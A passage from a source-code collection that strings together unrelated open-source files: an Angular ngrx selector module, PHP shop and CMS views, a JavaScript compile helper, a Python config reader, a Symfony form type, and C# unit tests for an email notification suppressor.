= fromRoot(state => state.entities); const getIds = fromRoot(state => state.ids); const getSelectedId = fromRoot(state => state.selectedBookId); /** * Represents the structure of the queries object and the type of each query. * Using an interface is optional but recommended. * * An interface is more verbose but strongly typed, since it's virtual there no cost. * Instead of a implicitly creating an interface, create the books queries object and use its * inferred interface to set the type of in the module declaration. * See comments below for an example how to omit the interface. */ export interface BookQueries { getEntities: Query<{ [id: string]: Model.Book }>; getIds: Query<string[]>; getSelectedId: Query<string>; getSelected: Query<Model.Book>; getAll: Query<Model.Book[]>; } Queries.books = { getEntities, getIds, getSelectedId, getSelected: createSelector(getEntities, getSelectedId, (entities, selectedId) => entities[selectedId]), getAll: createSelector(getEntities, getIds, (entities, ids) => ids.map(id => entities[id])) }; declare module 'ngrx-domains' { interface Root { books: Query<BooksState>; } interface Queries { books: BookQueries; } } /** OMITTING THE INTERFACE: * We create an inferred interface and assign it's type to the module declaration. * * const books = { // THIS IS THE CHANGE * getEntities, * getIds, * getSelectedId, * getSelected: createSelector(getEntities, getSelectedId, (entities, selectedId) => entities[selectedId]), * getAll: createSelector(getEntities, getIds, (entities, ids) => ids.map(id => entities[id])) * }; * * Queries.books = books; // THIS IS THE CHANGE * * declare module 'ngrx-domains' { * interface Root { * books: Query<BooksState>; * } * interface Queries { * books: typeof books; // THIS IS THE CHANGE * } * } * */
mit
Matheusqualquercoisa/limajacket
application/views/lojaCliente/clienteLogin.php
2735
<!-- <form action="<?php echo base_url("Principal/categoria"); ?>" method="post">--> <div class="container"> <div class="shopper-informations"> <div class="row"> <div class="col-sm-4"> <div class="shopper-info"> <p>1 Passo</p>&nbsp;&nbsp;&nbsp;&nbsp;<p>Cadastre seu Login</p> <form role="form" action = "<?php echo base_url("Cliente/Login"); ?>" method= "post"> <input type="text" id="login" name="login" placeholder="Login"> <input type="Password" id="senha" name="senha" class="form-control" placeholder="Senha"> <button type="submit" class="btn btn-default cart" name="cadastrar">Cadastrar</button> <a class="btn btn-primary" href="">Limpar</a> </form> </div> </div> </div> </div> </div> <!--Footer--> <div id="footer"> <p class="left"> <a href="#">Inicio</a> <span>|</span> <a href="#">Contato</a> <span>|</span> <a href="#">Minha Conta</a> <span>|</span> <a href="#">Galeria</a> <span>|</span> <a href="#"> Trabalhe Conosco </a> </p> <p class="right"> &copy; 2015 LimaJacket. Ltda </p> </div> </div> <!-- End Footer --> <link href="<?php echo base_url("static/css/bootstrap.minn.css"); ?>" rel="stylesheet"> <link href="<?php echo base_url("static/css/font-awesome.min.css"); ?>" rel="stylesheet"> <link href="<?php echo base_url("static/css/prettyPhoto.css"); ?>" rel="stylesheet"> <link href="<?php echo base_url("static/css/price-range.css"); ?>" rel="stylesheet"> <link href="<?php echo base_url("static/css/animate.css"); ?>" rel="stylesheet"> <link href="<?php echo base_url("static/css/main.css"); ?>" rel="stylesheet"> <link href="<?php echo base_url("static/css/responsive.css"); ?>" rel="stylesheet"> <script src="<?php echo base_url("static/js/jquery.js"); ?>"></script> <script src="<?php echo base_url("static/js/price-range.js"); ?>"></script> <script src="<?php echo base_url("static/js/jquery.scrollUp.min.js"); ?>"></script> <script src="<?php echo base_url("static/js/bootstrap.min.js"); ?>"></script> <script src="<?php echo base_url("static/js/jquery.prettyPhoto.js"); ?>"></script> <script src="<?php echo base_url("static/js/main.js"); ?>"></script> <script src="<?php echo base_url("static/js/jquery.js"); ?>"></script> <script src="<?php echo base_url("static/js/price-range.js"); ?>"></script> <script src="<?php echo base_url("static/js/jquery.scrollUp.min.js"); ?>"></script> <script src="<?php echo base_url("static/js/bootstrap.minn.js"); ?>"></script> <script src="<?php echo base_url("static/js/jquery.prettyPhoto.js"); ?>"></script> <script src="<?php echo base_url("static/js/main.js"); ?>"></script> <!--</form>-->
mit
padideIt/wall
application/views/pages/show.php
2098
<?php $this->load->view('include/header'); ?> <?php $this->load->view('include/header_menu'); ?> <?php $this->load->view('include/error'); ?> <script> $(document).ready(function(){ // $('html,body').animate({ // scrollTop: "+=" + 500 + "px" // },300); $.smoothScroll({ scrollElement: null, scrollTarget: '#contentdivpost2' }) }); </script> <!-- Last modified : APB - 9/1/2014 13:20 - complete--> <!-- ........ شروع دیو دربرگیرنده دیو راست و چپ ......... --> <div class="divcenter"> <?php $this->load->view('include/generalIndexRightPanel')?> <!-- ........ شروع دیو سمت چپ ......... --> <div class="divleft"> <!-- شروع محتوی پست اول --> <div class="divpost"> <div class="contentdivpost2" id="contentdivpost2"> <div id="headleft"> </div> <div class="titlecontentNew"> <p><?= $menu['title'] ?></p> </div> <div class="textcontentNew"> <!-- شروع محتوی --> <p><?= $menu['content'] ?></p> <!-- پایان محتوی --> </div> <div class="titlecontent3"> </div> </div> <!-- پایان محتوی پست اول --> </div> <!-- ........ پایان دیو سمت چپ ......... --> </div> <!-- ........ پایان دیو دربرگیرنده دیو راست و چپ ......... --> <?php $this->load->view('include/bottomAdsBanner'); ?> <?php $this->load->view('include/footer'); ?>
mit
tyler-johnson/temple-compiler
src/compile.js
708
import parse from "./parse"; const smfurl = "sourceMappingURL="; const datauri = "data:application/json;charset=utf-8;base64,"; var toBase64; if (typeof window !== "undefined" && typeof window.btoa === "function") { toBase64 = window.btoa; } else toBase64 = function(str) { return new Buffer(str, "utf-8").toString("base64"); }; export function srcToString(smf) { return this.code + (!smf ? "" : "\n\n//# " + smfurl + (typeof smf === "string" ? smf : datauri + toBase64(this.map.toString()))); } export default function compile(src, options={}) { let ast = parse(src, options); let out = ast.compile(options).toStringWithSourceMap(); out.ast = ast; out.toString = srcToString; return out; }
mit
LEWASatVT/lewas
lewas/config.py
886
import ConfigParser, os def coerce(val): try: return int(val) except ValueError: pass try: return float(val) except ValueError: pass return val def coerced_dict(d): return { k: coerce(v) for k,v in dict(d).items() } class Config(): def __init__(self, config="../config"): c = ConfigParser.RawConfigParser() c.read(os.path.abspath(config)) self._config = c self.site = c.get("main", "site") self.datastore = self.__getattr__(c.get("main", "datastore")) def __str__(self): return str(self._config) def get(self, label, default=None): return self._config.get(label, default) @property def datastore(self): return coerced_dict(self._config.items(self._config.get('main', 'datastore'))) def __getattr__(self, attr): return coerced_dict(self._config.items(attr))
mit
maurohead/tipsurvey-clases
src/Curso/SurveyBundle/Form/SurveyType.php
903
<?php namespace Curso\SurveyBundle\Form; use Symfony\Component\Form\AbstractType; use Symfony\Component\Form\FormBuilderInterface; use Symfony\Component\OptionsResolver\OptionsResolverInterface; class SurveyType extends AbstractType { /** * @param FormBuilderInterface $builder * @param array $options */ public function buildForm(FormBuilderInterface $builder, array $options) { $builder ->add('title') ->add('description') ; } /** * @param OptionsResolverInterface $resolver */ public function setDefaultOptions(OptionsResolverInterface $resolver) { $resolver->setDefaults(array( 'data_class' => 'Curso\SurveyBundle\Entity\Survey' )); } /** * @return string */ public function getName() { return 'curso_surveybundle_survey'; } }
mit
yunxu1019/efront
coms/zimoli/xml_test.js
109
function xml_test() { var compiled= xml.parse("<div a=b>compiled</div>"); console.log(compiled[0]); }
mit
retroelectric/rgLogger
rgLogger.Tests/NotifierTest.cs
33973
using System; using System.Fakes; using System.Collections.Generic; using System.Linq; using System.Net.Mail; using System.Net.Mail.Fakes; using Microsoft.VisualStudio.TestTools.UnitTesting; using Microsoft.QualityTools.Testing.Fakes; /* Things to check: * 01. [DONE] Sends correctly configured emails for all messages the first time they are written * 02. [DONE] Suppresses repeated notifications within the time out period * 03. [DONE] Stops suppressing notifications after the time out period * 04. [DONE] DaysToWait == 0 means messages will never be suppressed. * 05. [DONE - 01] Sends messages to the correct notification recipients * 06. [DONE - 01] What does it do when sending to a notification type that doesn't exist? * 07. [DONE - 01] Email subject is set correctly * 08. [DONE] Correctly handles multiple notification types * 09. [DONE] Suppression is based on the type of notification. duplicate messages can be sent using multiple notifications configured identically but with different names. * 10. Altering the configuration of a notification will not cause messages to be resent. matches are checked on Notification Name, Subject Suffix, and Message content. * That means Recipients, Sender, Subject Prefix, ReplyTo can all be altered without causing notifications to be resent. * 11. [DONE] Sends messages again once they aren't repeated for a run. */ namespace rgLogger.Tests { [TestClass] public class NotifierTest { string notificationName = "notification1"; string notificationSubjectPrefix = "notification one:"; string emailSender = "fakes@test.com"; string emailRecipient = "notice@test.com"; string dataFilename = "testing.dat"; List<string> messagesToSend = new List<string>() { "native son in my city talk that slang", "virtual insight tranquilo hold on", "some breaks afternoon soul late night jazz", "just jammin' swucca chust muy tranquilo", "chilaxin' by the sea guitar madness", "muy tranquilo no way out afternoon soul", "late night jazz victory some breaks", "sitar chop pizzi chop the anthem", "talk that slang hold on obviously", "indigo child just jammin' faraway" }; [TestMethod] public void SendsAllNotificationsTheFirstTime() { DeleteDataFile(); var expectedResults = new List<MailMessage>(); foreach (var m in messagesToSend) { expectedResults.Add(StandardMailMessage(m, m.Substring(0, m.IndexOf(" ")))); } using (ShimsContext.Create()) { var notificationMails = new List<MailMessage>(); ShimSmtpClient.Constructor = @this => { var shim = new ShimSmtpClient(@this); shim.SendMailMessage = e => { notificationMails.Add(e); }; }; using (var n = new Notifier("mail.test.com")) { n.Sender = emailSender; n.NotificationHistoryFile = dataFilename; n.DaysToWait = 7; n.AddNotification(notificationName, notificationSubjectPrefix, emailRecipient); foreach (var m in messagesToSend) { n.SendNotification(notificationName, m, m.Substring(0, m.IndexOf(" "))); } } CollectionAssert.AreEqual(expectedResults, notificationMails, new Comparers.MailMessageComparer(), "Notification emails sent do not match the expected result."); } } [TestMethod] public void CorrectlySuppressesMessages() { int notificationTimeout = 7; DeleteDataFile(); using (ShimsContext.Create()) { int CurrentDay = 0; List<MailMessage> notificationMails = new List<MailMessage>(); List<MailMessage> expectedResult; ShimSmtpClient.Constructor = @this => { var shim = new ShimSmtpClient(@this); shim.SendMailMessage = e => { notificationMails.Add(e); }; }; ShimDateTime.NowGet = () => { return new DateTime(2000, 1, CurrentDay, 11, 12, 13); }; /* DAY ONE */ CurrentDay = 1; notificationMails = new List<MailMessage>(); expectedResult = new List<MailMessage>() { StandardMailMessage(messagesToSend[0], "Day 1.") }; using (var n = new Notifier("mail.test.com")) { n.Sender = emailSender; n.NotificationHistoryFile = dataFilename; n.DaysToWait = notificationTimeout; n.AddNotification(notificationName, notificationSubjectPrefix, emailRecipient); n.SendNotification(notificationName, messagesToSend[0], "Day 1."); } CollectionAssert.AreEqual(expectedResult, notificationMails, new Comparers.MailMessageComparer(), "Notifications sent do not match the expected result for Day 1."); /* DAY TWO */ CurrentDay = 2; notificationMails = new List<MailMessage>(); expectedResult = new List<MailMessage>() { StandardMailMessage(messagesToSend[1], "Day 2.") }; using (var n = new Notifier("mail.test.com")) { n.Sender = emailSender; n.NotificationHistoryFile = dataFilename; n.DaysToWait = notificationTimeout; n.AddNotification(notificationName, notificationSubjectPrefix, emailRecipient); // resend the previous messages. they should not be in the actual result. n.SendNotification(notificationName, messagesToSend[0], "Day 1."); // send a new notification that should be in the actual result. n.SendNotification(notificationName, messagesToSend[1], "Day 2."); } CollectionAssert.AreEqual(expectedResult, notificationMails, new Comparers.MailMessageComparer(), "Notifications sent do not match the expected result for Day 2."); /* DAY THREE */ CurrentDay = 3; notificationMails = new List<MailMessage>(); expectedResult = new List<MailMessage>() { StandardMailMessage(messagesToSend[2], "Day 3.") }; using (var n = new Notifier("mail.test.com")) { n.Sender = emailSender; n.NotificationHistoryFile = dataFilename; n.DaysToWait = notificationTimeout; n.AddNotification(notificationName, notificationSubjectPrefix, emailRecipient); // resend the previous messages. they should not be in the actual result. n.SendNotification(notificationName, messagesToSend[0], "Day 1."); n.SendNotification(notificationName, messagesToSend[1], "Day 2."); // send a new notification that should be in the actual result. n.SendNotification(notificationName, messagesToSend[2], "Day 3."); } CollectionAssert.AreEqual(expectedResult, notificationMails, new Comparers.MailMessageComparer(), "Notifications sent do not match the expected result for Day 3."); /* DAY FOUR - no new messages */ notificationMails = new List<MailMessage>(); CurrentDay = 4; expectedResult = new List<MailMessage>() { }; using (var n = new Notifier("mail.test.com")) { n.Sender = emailSender; n.NotificationHistoryFile = dataFilename; n.DaysToWait = notificationTimeout; n.AddNotification(notificationName, notificationSubjectPrefix, emailRecipient); // resend the previous messages. they should not be in the actual result. n.SendNotification(notificationName, messagesToSend[0], "Day 1."); n.SendNotification(notificationName, messagesToSend[1], "Day 2."); n.SendNotification(notificationName, messagesToSend[2], "Day 3."); // send a new notification that should be in the actual result. // *** there are no new messages sent in this test *** } CollectionAssert.AreEqual(expectedResult, notificationMails, new Comparers.MailMessageComparer(), "Notifications sent do not match the expected result for Day 4."); } } [TestMethod] public void ResendsNotificationsAfterTimeoutExpires() { int notificationTimeout = 3; DeleteDataFile(); using (ShimsContext.Create()) { int CurrentDay = 0; List<MailMessage> notificationMails = new List<MailMessage>(); List<MailMessage> expectedResult; ShimSmtpClient.Constructor = @this => { var shim = new ShimSmtpClient(@this); shim.SendMailMessage = e => { notificationMails.Add(e); }; }; ShimDateTime.NowGet = () => { return new DateTime(2000, 1, CurrentDay, 11, 12, 13); }; /* DAY ONE */ CurrentDay = 1; notificationMails = new List<MailMessage>(); expectedResult = new List<MailMessage>() { StandardMailMessage(messagesToSend[0], "jane says") }; using (var n = new Notifier("mail.test.com")) { n.Sender = emailSender; n.NotificationHistoryFile = dataFilename; n.DaysToWait = notificationTimeout; n.AddNotification(notificationName, notificationSubjectPrefix, emailRecipient); n.SendNotification(notificationName, messagesToSend[0], "jane says"); } CollectionAssert.AreEqual(expectedResult, notificationMails, new Comparers.MailMessageComparer(), "Notifications sent do not match the expected result for Day 1."); /* DAY TWO */ CurrentDay = 2; notificationMails = new List<MailMessage>(); expectedResult = new List<MailMessage>(); using (var n = new Notifier("mail.test.com")) { n.Sender = emailSender; n.NotificationHistoryFile = dataFilename; n.DaysToWait = notificationTimeout; n.AddNotification(notificationName, notificationSubjectPrefix, emailRecipient); n.SendNotification(notificationName, messagesToSend[0], "jane says"); } CollectionAssert.AreEqual(expectedResult, notificationMails, new Comparers.MailMessageComparer(), "Notifications sent do not match the expected result for Day 2."); /* DAY THREE */ CurrentDay = 3; notificationMails = new List<MailMessage>(); expectedResult = new List<MailMessage>(); using (var n = new Notifier("mail.test.com")) { n.Sender = emailSender; n.NotificationHistoryFile = dataFilename; n.DaysToWait = notificationTimeout; n.AddNotification(notificationName, notificationSubjectPrefix, emailRecipient); // resend the previous messages. they should not be in the actual result. n.SendNotification(notificationName, messagesToSend[0], "jane says"); } CollectionAssert.AreEqual(expectedResult, notificationMails, new Comparers.MailMessageComparer(), "Notifications sent do not match the expected result for Day 3."); /* DAY FOUR - resend initial message */ CurrentDay = 4; notificationMails = new List<MailMessage>(); expectedResult = new List<MailMessage>() { StandardMailMessage(messagesToSend[0], "jane says") }; using (var n = new Notifier("mail.test.com")) { n.Sender = emailSender; n.NotificationHistoryFile = dataFilename; n.DaysToWait = notificationTimeout; n.AddNotification(notificationName, notificationSubjectPrefix, emailRecipient); n.SendNotification(notificationName, messagesToSend[0], "jane says"); } CollectionAssert.AreEqual(expectedResult, notificationMails, new Comparers.MailMessageComparer(), "Notifications sent do not match the expected result for Day 4."); } } [TestMethod] public void SendsNotificationAfterMessageIsNotRepeated() { int notificationTimeout = 7; DeleteDataFile(); using (ShimsContext.Create()) { int CurrentDay = 0; List<MailMessage> notificationMails = new List<MailMessage>(); List<MailMessage> expectedResult; ShimSmtpClient.Constructor = @this => { var shim = new ShimSmtpClient(@this); shim.SendMailMessage = e => { notificationMails.Add(e); }; }; ShimDateTime.NowGet = () => { return new DateTime(2000, 1, CurrentDay, 11, 12, 13); }; /* DAY ONE */ CurrentDay = 1; notificationMails = new List<MailMessage>(); expectedResult = new List<MailMessage>() { StandardMailMessage(messagesToSend[0], "velvet revolver") }; using (var n = new Notifier("mail.test.com")) { n.Sender = emailSender; n.NotificationHistoryFile = dataFilename; n.DaysToWait = notificationTimeout; n.AddNotification(notificationName, notificationSubjectPrefix, emailRecipient); n.SendNotification(notificationName, messagesToSend[0], "velvet revolver"); } CollectionAssert.AreEqual(expectedResult, notificationMails, new Comparers.MailMessageComparer(), "Notifications sent do not match the expected result for Day 1."); /* DAY TWO */ CurrentDay = 2; notificationMails = new List<MailMessage>(); expectedResult = new List<MailMessage>(); using (var n = new Notifier("mail.test.com")) { n.Sender = emailSender; n.NotificationHistoryFile = dataFilename; n.DaysToWait = notificationTimeout; n.AddNotification(notificationName, notificationSubjectPrefix, emailRecipient); } CollectionAssert.AreEqual(expectedResult, notificationMails, new Comparers.MailMessageComparer(), "Notifications sent do not match the expected result for Day 2."); /* DAY THREE */ CurrentDay = 3; notificationMails = new List<MailMessage>(); expectedResult = new List<MailMessage>() { StandardMailMessage(messagesToSend[0], "velvet revolver") }; using (var n = new Notifier("mail.test.com")) { n.Sender = emailSender; n.NotificationHistoryFile = dataFilename; n.DaysToWait = notificationTimeout; n.AddNotification(notificationName, notificationSubjectPrefix, emailRecipient); n.SendNotification(notificationName, messagesToSend[0], "velvet revolver"); } CollectionAssert.AreEqual(expectedResult, notificationMails, new Comparers.MailMessageComparer(), "Notifications sent do not match the expected result for Day 3."); } } [TestMethod] public void MessagesAreNeverSuppressedWhenDaysToWaitIsZero() { int notificationTimeout = 0; DeleteDataFile(); using (ShimsContext.Create()) { int CurrentDay = 0; List<MailMessage> notificationMails = new List<MailMessage>(); List<MailMessage> expectedResult; ShimSmtpClient.Constructor = @this => { var shim = new ShimSmtpClient(@this); shim.SendMailMessage = e => { notificationMails.Add(e); }; }; ShimDateTime.NowGet = () => { return new DateTime(2000, 1, CurrentDay, 11, 12, 13); }; /* DAY ONE */ CurrentDay = 1; notificationMails = new List<MailMessage>(); expectedResult = new List<MailMessage>() { StandardMailMessage(messagesToSend[0], "fridge lazer"), StandardMailMessage(messagesToSend[1], "pew pew pew"), StandardMailMessage(messagesToSend[2], "rome antium cumae"), StandardMailMessage(messagesToSend[3], "black mirror") }; using (var n = new Notifier("mail.test.com")) { n.Sender = emailSender; n.NotificationHistoryFile = dataFilename; n.DaysToWait = notificationTimeout; n.AddNotification(notificationName, notificationSubjectPrefix, emailRecipient); n.SendNotification(notificationName, messagesToSend[0], "fridge lazer"); n.SendNotification(notificationName, messagesToSend[1], "pew pew pew"); n.SendNotification(notificationName, messagesToSend[2], "rome antium cumae"); n.SendNotification(notificationName, messagesToSend[3], "black mirror"); } CollectionAssert.AreEqual(expectedResult, notificationMails, new Comparers.MailMessageComparer(), "Notifications sent do not match the expected result for Day 1."); /* DAY TWO */ CurrentDay = 2; notificationMails = new List<MailMessage>(); expectedResult = new List<MailMessage>() { StandardMailMessage(messagesToSend[0], "fridge lazer"), StandardMailMessage(messagesToSend[1], "pew pew pew"), StandardMailMessage(messagesToSend[2], "rome antium cumae"), StandardMailMessage(messagesToSend[3], "black mirror"), StandardMailMessage(messagesToSend[4], "cool ridge"), StandardMailMessage(messagesToSend[5], "cables to go"), StandardMailMessage(messagesToSend[6], "elsa anna olaf"), StandardMailMessage(messagesToSend[7], "product guide") }; using (var n = new Notifier("mail.test.com")) { n.Sender = emailSender; n.NotificationHistoryFile = dataFilename; n.DaysToWait = notificationTimeout; n.AddNotification(notificationName, notificationSubjectPrefix, emailRecipient); n.SendNotification(notificationName, messagesToSend[0], "fridge lazer"); n.SendNotification(notificationName, messagesToSend[1], "pew pew pew"); n.SendNotification(notificationName, messagesToSend[2], "rome antium cumae"); n.SendNotification(notificationName, messagesToSend[3], "black mirror"); n.SendNotification(notificationName, messagesToSend[4], "cool ridge"); n.SendNotification(notificationName, messagesToSend[5], "cables to go"); n.SendNotification(notificationName, messagesToSend[6], "elsa anna olaf"); n.SendNotification(notificationName, messagesToSend[7], "product guide"); } CollectionAssert.AreEqual(expectedResult, notificationMails, new Comparers.MailMessageComparer(), "Notifications sent do not match the expected result for Day 2."); /* DAY THREE */ CurrentDay = 3; notificationMails = new List<MailMessage>(); expectedResult = new List<MailMessage>() { StandardMailMessage(messagesToSend[0], "fridge lazer"), StandardMailMessage(messagesToSend[4], "cool ridge"), StandardMailMessage(messagesToSend[5], "cables to go"), StandardMailMessage(messagesToSend[6], "elsa anna olaf"), StandardMailMessage(messagesToSend[7], "product guide") }; using (var n = new Notifier("mail.test.com")) { n.Sender = emailSender; n.NotificationHistoryFile = dataFilename; n.DaysToWait = notificationTimeout; n.AddNotification(notificationName, notificationSubjectPrefix, emailRecipient); n.SendNotification(notificationName, messagesToSend[0], "fridge lazer"); n.SendNotification(notificationName, messagesToSend[4], "cool ridge"); n.SendNotification(notificationName, messagesToSend[5], "cables to go"); n.SendNotification(notificationName, messagesToSend[6], "elsa anna olaf"); n.SendNotification(notificationName, messagesToSend[7], "product guide"); } CollectionAssert.AreEqual(expectedResult, notificationMails, new Comparers.MailMessageComparer(), "Notifications sent do not match the expected result for Day 3."); } } [TestMethod] public void CorrectlyHandlesMultipleNotificationTypes() { DeleteDataFile(); using (ShimsContext.Create()) { int currentMinute = 0; List<MailMessage> notificationMails = new List<MailMessage>(); List<MailMessage> expectedResult; ShimSmtpClient.Constructor = @this => { var shim = new ShimSmtpClient(@this); shim.SendMailMessage = e => { notificationMails.Add(e); }; }; ShimDateTime.NowGet = () => { return new DateTime(2000, 1, 1, 12, currentMinute++, 13); }; expectedResult = new List<MailMessage>() { StandardMailMessage(messagesToSend[0], "n1m1", "notice1@test.com", "notification type 1"), StandardMailMessage(messagesToSend[1], "n2m1", "notice2@test.com", "notification type 2"), StandardMailMessage(messagesToSend[2], "n3m1", "notice3@test.com", "notification type 3"), StandardMailMessage(messagesToSend[3], "n1m2", "notice1@test.com", "notification type 1"), StandardMailMessage(messagesToSend[4], "n2m2", "notice2@test.com", "notification type 2") }; using (var n = new Notifier("mail.test.com")) { n.Sender = emailSender; n.NotificationHistoryFile = dataFilename; n.DaysToWait = 7; n.AddNotification("notification1", "notification type 1", "notice1@test.com"); n.AddNotification("notification2", "notification type 2", "notice2@test.com"); n.AddNotification("notification3", "notification type 3", "notice3@test.com"); n.SendNotification("notification1", messagesToSend[0], "n1m1"); n.SendNotification("notification2", messagesToSend[1], "n2m1"); n.SendNotification("notification3", messagesToSend[2], "n3m1"); n.SendNotification("notification1", messagesToSend[3], "n1m2"); n.SendNotification("notification2", messagesToSend[4], "n2m2"); } CollectionAssert.AreEqual(expectedResult, notificationMails, new Comparers.MailMessageComparer(), "Notifications sent do not match the expected result."); } } [TestMethod] public void DoesNotSendDuplicateNotificationsDuringTheSameRun() { DeleteDataFile(); using (ShimsContext.Create()) { int currentMinute = 0; List<MailMessage> notificationMails = new List<MailMessage>(); List<MailMessage> expectedResult; ShimSmtpClient.Constructor = @this => { var shim = new ShimSmtpClient(@this); shim.SendMailMessage = e => { notificationMails.Add(e); }; }; ShimDateTime.NowGet = () => { return new DateTime(2000, 1, 1, 12, currentMinute++, 13); }; expectedResult = new List<MailMessage>() { StandardMailMessage(messagesToSend[0], "dupe") }; using (var n = new Notifier("mail.test.com")) { n.Sender = emailSender; n.NotificationHistoryFile = dataFilename; n.DaysToWait = 7; n.AddNotification("notification1", notificationSubjectPrefix, emailRecipient); n.SendNotification("notification1", messagesToSend[0], "dupe"); n.SendNotification("notification1", messagesToSend[0], "dupe"); } CollectionAssert.AreEqual(expectedResult, notificationMails, new Comparers.MailMessageComparer(), "Notifications sent do not match the expected result."); } } [TestMethod] public void CanSendDuplicateNotificationsUsingMoreThanOneNotificationType() { DeleteDataFile(); using (ShimsContext.Create()) { int currentMinute = 0; List<MailMessage> notificationMails = new List<MailMessage>(); List<MailMessage> expectedResult; ShimSmtpClient.Constructor = @this => { var shim = new ShimSmtpClient(@this); shim.SendMailMessage = e => { notificationMails.Add(e); }; }; ShimDateTime.NowGet = () => { return new DateTime(2000, 1, 1, 12, currentMinute++, 13); }; expectedResult = new List<MailMessage>() { StandardMailMessage(messagesToSend[0], "dupe"), StandardMailMessage(messagesToSend[0], "dupe") }; using (var n = new Notifier("mail.test.com")) { n.Sender = emailSender; n.NotificationHistoryFile = dataFilename; n.DaysToWait = 7; n.AddNotification("notification1", notificationSubjectPrefix, emailRecipient); n.AddNotification("notification2", notificationSubjectPrefix, emailRecipient); n.SendNotification("notification1", messagesToSend[0], "dupe"); n.SendNotification("notification2", messagesToSend[0], "dupe"); } CollectionAssert.AreEqual(expectedResult, notificationMails, new Comparers.MailMessageComparer(), "Notifications sent do not match the expected result."); } } [TestMethod] public void CorrectlyHandlesNotificationsWithMultipleRecipients() { DeleteDataFile(); var expectedResults = new List<MailMessage>(); foreach (var m in messagesToSend) { expectedResults.Add(StandardMailMessage(m, m.Substring(0, m.IndexOf(" ")))); } using (ShimsContext.Create()) { var notificationMails = new List<MailMessage>(); ShimSmtpClient.Constructor = @this => { var shim = new ShimSmtpClient(@this); shim.SendMailMessage = e => { notificationMails.Add(e); }; }; using (var n = new Notifier("mail.test.com")) { n.Sender = emailSender; n.NotificationHistoryFile = dataFilename; n.DaysToWait = 7; n.AddNotification(notificationName, notificationSubjectPrefix, new string[] { emailRecipient }); foreach (var m in messagesToSend) { n.SendNotification(notificationName, m, m.Substring(0, m.IndexOf(" "))); } } CollectionAssert.AreEqual(expectedResults, notificationMails, new Comparers.MailMessageComparer(), "Notification emails sent do not match the expected result."); } } [TestMethod] public void EmailSubjectsAreCorrectlyConfigured() { DeleteDataFile(); var notificationMails = new List<MailMessage>(); using (ShimsContext.Create()) { ShimSmtpClient.Constructor = @this => { var shim = new ShimSmtpClient(@this); shim.SendMailMessage = e => { notificationMails.Add(e); }; }; var expectedResult = messagesToSend.OrderBy(m => m).Select(m => $"this is a prefix { m }").ToList(); using (var n = new Notifier("mail.test.com")) { n.Sender = emailSender; n.NotificationHistoryFile = dataFilename; n.AddNotification(notificationName, "this is a prefix", emailRecipient); foreach (var m in messagesToSend.OrderBy(m => m)) { n.SendNotification(notificationName, m, m); } CollectionAssert.AreEqual(expectedResult, notificationMails.Select(m => m.Subject).ToList()); } } } [TestMethod] public void EmailSubjectsAreCorrectlyConfiguredEvenWithNoPrefix() { DeleteDataFile(); var notificationMails = new List<MailMessage>(); using (ShimsContext.Create()) { ShimSmtpClient.Constructor = @this => { var shim = new ShimSmtpClient(@this); shim.SendMailMessage = e => { notificationMails.Add(e); }; }; var expectedResult = messagesToSend.OrderBy(m => m).ToList(); using (var n = new Notifier("mail.test.com")) { n.Sender = emailSender; n.NotificationHistoryFile = dataFilename; n.AddNotification(notificationName, string.Empty, emailRecipient); foreach (var m in messagesToSend.OrderBy(m => m)) { n.SendNotification(notificationName, m, m); } CollectionAssert.AreEqual(expectedResult, notificationMails.Select(m => m.Subject).ToList()); } } } private MailMessage StandardMailMessage(string content, string subjectSuffix, string recipient, string subjectPrefix) { var r = new MailMessage() { Sender = new MailAddress(emailSender), From = new MailAddress(emailSender), Subject = $"{ subjectPrefix } { subjectSuffix }", Body = content, IsBodyHtml = false }; r.ReplyToList.Add(new MailAddress(emailSender)); r.To.Add(new MailAddress(recipient)); return r; } private MailMessage StandardMailMessage(string content, string subjectSuffix) { return StandardMailMessage(content, subjectSuffix, emailRecipient, notificationSubjectPrefix); } private void DeleteDataFile() { if (System.IO.File.Exists(dataFilename)) { System.IO.File.Delete(dataFilename); } } private DateTime DeterministicDateTime(int days) { return new DateTime(1999, 12, days, 0, 0, 0); } } }
mit